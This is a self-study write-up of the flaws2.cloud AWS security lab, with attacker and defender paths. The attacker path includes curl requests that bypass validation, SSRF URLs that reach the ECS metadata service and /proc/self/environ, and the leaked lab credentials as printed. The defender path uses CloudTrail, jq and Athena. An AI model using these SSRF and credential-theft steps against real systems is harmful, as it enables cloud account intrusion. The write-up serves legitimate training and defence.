flaws2.cloud

AWS Security — Attacker & Defender Learning Journey

Documented by: Kelvin Saw

Date: July 2026

Part of the 6-Month Cloud Security Self-Study Plan

Introduction

flaws2.cloud is the sequel to flaws.cloud, created by Scott Piper (summitroute). Unlike the original which focused on S3 and EC2 misconfigurations, flaws2.cloud focuses on serverless (Lambda) and container (ECS Fargate) security. It features two distinct paths — Attacker and Defender — providing a complete red team and blue team perspective on the same attack scenario.

Tools used: AWS CLI v2.35.20, Windows 11 CMD/PowerShell, Git Bash, jq v1.8.2, Browser

Overview of Both Paths

Path	Role	Levels/Objectives	Focus
Attacker	Red Team / Penetration Tester	3 Levels	Exploit Lambda and ECS container misconfigurations
Defender	Blue Team / Incident Responder	6 Objectives	Investigate attack using CloudTrail logs and AWS tools

🔴 ATTACKER PATH

In the Attacker path you exploit misconfigurations in AWS Lambda (serverless) and ECS Fargate (containers) to progressively gain access to the target AWS account.

Level	Vulnerability	Severity	Key Technique
1	Lambda error leaks environment variables	🔴 Critical	Client-side validation bypass → credential theft
2	Public ECR with hardcoded credentials	🔴 Critical	Container image analysis → credential extraction
3	SSRF via ECS container proxy	🔴 Critical	ECS metadata SSRF → credential theft

Attacker Level 1 — Lambda Error Leaks Credentials

Problem / Task

A web application presents a PIN entry form. The PIN is 100 digits long making brute force impossible. The input validation is only performed in JavaScript on the frontend — the backend Lambda function has no validation.

What We Did (Solution)

Step 1 — Identified API Gateway Endpoint

Inspected the page source (Ctrl+U) and found the form action pointing to an API Gateway URL:

```
https://2rfismmoo8.execute-api.us-east-1.amazonaws.com/default/level1
```

Step 2 — Bypassed Frontend Validation

Since validation only existed in JavaScript, we sent non-numeric input directly to the API, bypassing the browser check:

```
curl "https://2rfismmoo8.execute-api.us-east-1.amazonaws.com/default/level1?code=test"
```

Step 3 — Lambda Crashed and Leaked Credentials

The Lambda function crashed on unexpected input and returned its entire environment variables including live AWS credentials:

```
AWS_ACCESS_KEY_ID: ASIAZQNB3KHGMDTVA2QCAWS_SECRET_ACCESS_KEY:
+ElROD8YlgSx84REEgljACjGy1MciImQbvN9fnIYAWS_SESSION_TOKEN: IQoJb3JpZ2luX2Vj...
```

Step 4 — Used Stolen Credentials

```
aws configure --profile flaws2 set aws_access_key_id ASIAZQNB3KHGMDTVA2QCaws configure
--profile flaws2 set aws_secret_access_key +ElROD8YlgSx84REEgljACjGy1MciImQbvN9fnIYaws
configure --profile flaws2 set aws_session_token <token>aws --profile flaws2 s3 ls
s3://level1.flaws2.cloud
```

Found the secret file: secret-ppxVFdwV4DDtZm8vbQRvhxL8mE6wxNco.html → revealed Level 2 URL

Prevention

- Always validate input on the SERVER SIDE — never rely on client-side JavaScript validation alone
- Implement proper error handling in Lambda — never expose raw error messages or environment variables to users
- Use custom error responses in API Gateway to sanitize Lambda error output
- Never store credentials as Lambda environment variables — use AWS Secrets Manager or IAM roles instead
- Enable AWS X-Ray for Lambda to trace errors without exposing sensitive data

Key Learning

The core vulnerability was trusting frontend validation. An attacker can always call APIs directly, bypassing any browser-based checks. The Lambda's error handling exposed its entire runtime environment including live AWS credentials — a critical misconfiguration.

Attacker Level 2 — Public ECR with Hardcoded Credentials

Problem / Task

A container is running at container.target.flaws2.cloud. The ECR (Elastic Container Registry) repository named 'level2' has overly permissive access. The container image contains sensitive credentials baked into its build history.

What We Did (Solution)

Step 1 — Found ECR Repository

Using the stolen level1 credentials, listed ECR repositories:

```
aws --profile flaws2 ecr list-images --repository-name level2 --region us-east-1
```

Found image: sha256:513e7d8a5fb9135a61159fbfbc385a4beb5ccbd84e5755d76ce923e040f9607e

Step 2 — Downloaded Image Manifest

```
aws --profile flaws2 ecr batch-get-image --repository-name level2 --registry-id
653711331788 --image-ids imageTag=latest --region us-east-1
```

Retrieved the image manifest revealing all layer digests.

Step 3 — Downloaded and Analysed Image Config

```
aws --profile flaws2 ecr get-download-url-for-layer --repository-name level2
--registry-id 653711331788 --layer-digest sha256:2d73de35... --region us-east-1
```

Downloaded the config JSON — found hardcoded credentials in the build history:

```
/bin/sh -c htpasswd -b -c /etc/nginx/.htpasswd flaws2 secret_password
```

Step 4 — Used Credentials

Used flaws2:secret_password to authenticate to the container web server, gaining access to Level 3.

Prevention

- Never set Principal: * in ECR repository policies — restricts to specific IAM roles/accounts only
- Never hardcode credentials in Dockerfiles or build scripts — they persist in image layer history
- Use AWS Secrets Manager or environment variables injected at runtime for credentials
- Regularly scan container images using Amazon Inspector or tools like Trivy
- Use multi-stage Docker builds to avoid including build-time secrets in final images
- Enable ECR image scanning to detect vulnerabilities and secrets

Key Learning

ECR is similar to GitHub for container images — a public ECR repository exposes the entire image including its build history. Docker image layers are immutable and permanent, meaning credentials added during build and later 'deleted' are still visible in the layer history.

Attacker Level 3 — SSRF via ECS Container Proxy

Problem / Task

The container web server includes a simple HTTP proxy that fetches any URL provided to it. This can be abused to access the ECS task metadata service — an internal endpoint only accessible from within the container — to steal the container's IAM credentials.

What We Did (Solution)

Step 1 — Discovered Proxy Endpoint

The container had a proxy accessible at:

```
http://container.target.flaws2.cloud/proxy/<URL>
```

Step 2 — Read Environment Variables via File SSRF

On Linux systems process environment variables are accessible at /proc/self/environ:

```
http://container.target.flaws2.cloud/proxy/file:///proc/self/environ
```

This revealed the environment variable AWS_CONTAINER_CREDENTIALS_RELATIVE_URI containing a GUID.

Step 3 — Accessed ECS Metadata Service

Unlike EC2 which uses 169.254.169.254, ECS containers use 169.254.170.2 for credentials:

```
http://container.target.flaws2.cloud/proxy/http://169.254.170.2/v2/credentials/<GUID>
```

This returned temporary AWS credentials for the ECS task IAM role.

Step 4 — Used ECS Credentials

```
aws configure --profile level3aws --profile level3 s3 ls
```

Listed all S3 buckets in the target account using the stolen ECS credentials.

EC2 vs ECS Metadata — Key Difference

	EC2	ECS Container
Metadata IP	169.254.169.254	169.254.170.2
Credentials path	/latest/meta-data/iam/security-credentials/	/v2/credentials/GUID
GUID required?	No	Yes — from AWS_CONTAINER_CREDENTIALS_RELATIVE_URI
Fix	Enforce IMDSv2	Block proxy access to 169.254.170.2

Prevention

- Block container proxy access to 169.254.170.2 using network policies or WAF rules
- Never build proxy functionality that can reach internal metadata IPs
- Apply least privilege IAM roles to ECS tasks — limit what credentials can access
- Use ECS task network policies to restrict outbound connections
- Monitor for unusual API calls from ECS task credentials via CloudTrail

🔵 DEFENDER PATH

In the Defender path you act as an incident responder with access to a Security AWS account. You investigate the same attack that was performed in the Attacker path using CloudTrail logs and AWS investigation tools.

Objective	Skill	Tool Used
1 — Download CloudTrail logs	S3 sync, CLI setup	AWS CLI, S3
2 — Access Target account	Cross-account role assumption	AWS IAM, STS
3 — Use jq	JSON log analysis	jq, Git Bash
4 — Identify credential theft	Detect stolen creds from external IP	CloudTrail, IAM
5 — Identify public resource	Find misconfigured ECR policy	ECR, jq
6 — Use Athena	SQL queries against CloudTrail	Athena, Glue

Defender Objective 1 — Download CloudTrail Logs

Task

Configure AWS CLI with the Security account credentials and download the CloudTrail logs from the flaws2-logs S3 bucket which contains a copy of all API activity during the attack.

What We Did

```
aws configure --profile flaws2-security# Access Key: AKIAIUFNQ2WCOPTEITJQ# Secret Key:
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# Region: us-east-1
```

```
aws --profile flaws2-security sts get-caller-identity# Confirmed:
arn:aws:iam::322079859186:user/security
```

```
mkdir flaws2-defender && cd flaws2-defenderaws --profile flaws2-security s3 sync
s3://flaws2-logs .
```

Downloaded 8 CloudTrail log files in .json.gz format from AWSLogs/653711331788/CloudTrail/us-east-1/2018/11/28/

Key Learning

A best practice AWS setup uses a separate Security account that receives CloudTrail logs from all other accounts. This separation ensures that even if the target account is compromised, the attacker cannot tamper with the security logs.

Defender Objective 2 — Access the Target Account

Task

Use cross-account IAM role assumption to access the Target account from the Security account. This allows investigation of the target account's resources without having direct credentials to it.

What We Did

Added a target profile to ~/.aws/config:

```
[profile target_security]region=us-east-1output=jsonsource_profile =
flaws2-securityrole_arn = arn:aws:iam::653711331788:role/security
```

```
aws --profile target_security sts get-caller-identity# Confirmed:
arn:aws:sts::653711331788:assumed-role/security/...
```

```
aws --profile target_security s3 ls# Saw all flaws2 level buckets in the target
account
```

Key Learning

Cross-account role assumption is the AWS best practice for giving one account controlled access to another. The Security account assumes the 'security' role in the Target account — no long-term credentials needed in the target account.

Defender Objective 3 — Analyze Logs with jq

Task

Use jq to parse and analyze the CloudTrail JSON logs to build a timeline of the attack.

What We Did

Step 1 — Decompressed all log files

```
find . -type f -exec gunzip {} \;
```

Step 2 — Built attack timeline

```
find . -type f -exec cat {} \; | jq -cr '.Records[]|[.eventTime, .sourceIPAddress,
.userIdentity.arn, .userIdentity.accountId, .userIdentity.type, .eventName]|@tsv' |
sort
```

Attack Timeline Discovered

Time (UTC)	IP	Identity	Action
23:02-23:08	104.102.221.250	ANONYMOUS	GetObject (browsing site)
23:03	34.234.236.212	level1 Lambda role	CreateLogStream (Lambda invoked)
23:04	104.102.221.250	level1 role	ListObjects (attacker has Lambda creds!)
23:05	104.102.221.250	level1 role	ListImages (enumerating ECR)
23:06	104.102.221.250	level1 role	BatchGetImage (pulling container)
23:06	104.102.221.250	level1 role	GetDownloadUrlForLayer (downloading image)
23:09	104.102.221.250	level3 role	ListBuckets (attacker has ECS creds!)

Key Learning

jq is an essential incident response tool for parsing CloudTrail logs. The timeline clearly shows the attacker's IP (104.102.221.250) and the progression of the attack from Lambda credential theft to ECR enumeration to ECS credential theft.

Defender Objective 4 — Identify Credential Theft

Task

Identify that the ECS task credentials were stolen and used from an external IP address — proving credential theft occurred.

What We Did

Step 1 — Found the ListBuckets event

```
find . -type f -exec cat {} \; | jq '.Records[]|select(.eventName=="ListBuckets")'
```

Found: sourceIPAddress: 104.102.221.250 using level3 assumed role credentials

Step 2 — Checked the level3 role configuration

```
aws --profile target_security iam get-role --role-name level3
```

Result showed: Principal: ecs-tasks.amazonaws.com — meaning ONLY ECS tasks should assume this role

The Evidence of Credential Theft

Evidence	What it proves
level3 role policy: Principal = ecs-tasks.amazonaws.com	Role should only be used from within AWS ECS
CloudTrail: ListBuckets from 104.102.221.250	Role was used from an external non-AWS IP
Conclusion	Credentials were stolen from ECS container and used externally

Key Learning

This detection technique is called 'impossible travel for credentials' — similar to how banks detect fraud. If an ECS task role is used from a non-AWS IP, the credentials must have been stolen. AWS GuardDuty automatically detects this pattern with the finding type 'UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration'.

Defender Objective 5 — Identify the Public Resource

Task

Identify the misconfigured ECR repository that allowed the attacker to pull the container image and extract credentials from it.

What We Did

```
aws --profile target_security ecr get-repository-policy --repository-name level2 | jq
'.policyText|fromjson'
```

Result:

```
{  "Version": "2008-10-17",  "Statement": [{    "Effect": "Allow",    "Principal":
"*",    "Action": ["ecr:GetDownloadUrlForLayer", "ecr:BatchGetImage",
"ecr:BatchCheckLayerAvailability", "ecr:ListImages",
"ecr:DescribeImages"]  }]}
```

The Misconfiguration

Principal: "*" means the ECR repository is accessible to anyone in the world. This allowed the attacker to pull the container image and read its build history containing hardcoded credentials.

Key Learning

Tools like CloudMapper and AWS Config can scan an entire account for public resources before an attack happens. AWS Security Hub provides continuous monitoring for public ECR repositories and other resource misconfigurations.

Defender Objective 6 — Use Athena for Log Analysis

Task

Set up AWS Athena to run SQL queries against CloudTrail logs — a scalable alternative to jq for large log datasets.

What We Did

Step 1 — Created Athena database

```
create database flaws2;
```

Step 2 — Created external table pointing to S3 logs

```
CREATE EXTERNAL TABLE cloudtrail (...)ROW FORMAT SERDE
'com.amazon.emr.hive.serde.CloudTrailSerde'LOCATION
's3://flaws2-logs/AWSLogs/653711331788/CloudTrail';
```

Step 3 — Ran SQL queries against the logs

```
SELECT eventtime, eventname FROM cloudtrail;SELECT eventname, count(*) AS mycountFROM
cloudtrailGROUP BY eventnameORDER BY mycount;
```

jq vs Athena Comparison

	jq	Athena
Best for	Small local log files	Large scale log analysis
Query language	jq filter syntax	Standard SQL
Setup required	Install jq	Configure table in Athena
Cost	Free	Pay per query (small amounts)
Scale	Limited by local machine	Scales to petabytes
Real-time?	Yes (local files)	Near real-time (S3 data)

Key Takeaways

Attacker Path — Vulnerabilities Found

Level	Vulnerability	Root Cause	Fix
1	Lambda leaks credentials on error	No server-side input validation + poor error handling	Validate server-side, use Secrets Manager
2	Public ECR with hardcoded creds	Principal:* in ECR policy + credentials in build history	Restrict ECR access, never hardcode creds
3	SSRF via container proxy	Proxy can reach internal metadata endpoint 169.254.170.2	Block 169.254.170.2, restrict proxy endpoints

Defender Path — Skills Gained

- Cross-account IAM role assumption for incident response
- CloudTrail log download and analysis using AWS CLI
- JSON log parsing with jq to build attack timelines
- Credential theft detection using IP source analysis
- ECR policy auditing to find public resources
- Athena setup for scalable SQL-based log analysis

The Complete Attack Chain — Both Perspectives

```
ATTACKER VIEW:                              DEFENDER VIEW:Crash Lambda → steal creds
→   CloudTrail: Lambda invoked from 34.x.x.x  ↓
↓Enum ECR (public) → pull image      →   CloudTrail: ListImages/BatchGetImage  ↓
↓Find creds in build history         →   ECR policy: Principal:* found  ↓
↓SSSRF → steal ECS creds             →   CloudTrail: level3 role from 104.x.x.x  ↓
↓List all S3 buckets                 →   CONFIRMED: credential theft detected
```

AWS Services for Prevention & Detection

Service	What it prevents/detects
AWS GuardDuty	Auto-detects credential theft from external IPs (UnauthorizedAccess findings)
AWS Security Hub	Continuous monitoring for public ECR repos and other misconfigurations
Amazon Inspector	Scans container images for vulnerabilities and embedded secrets
AWS Secrets Manager	Proper storage for credentials instead of environment variables or Dockerfiles
AWS Config	Continuous compliance checking for resource misconfigurations
CloudTrail + Athena	Scalable log analysis for incident response and threat hunting

ECR Image Scanning	Detects known CVEs and embedded secrets in container images
IMDSv2 / ECS restrictions	Prevents SSRF attacks against metadata endpoints

End of Document — flaws2.cloud Journey | Kelvin Saw | July 2026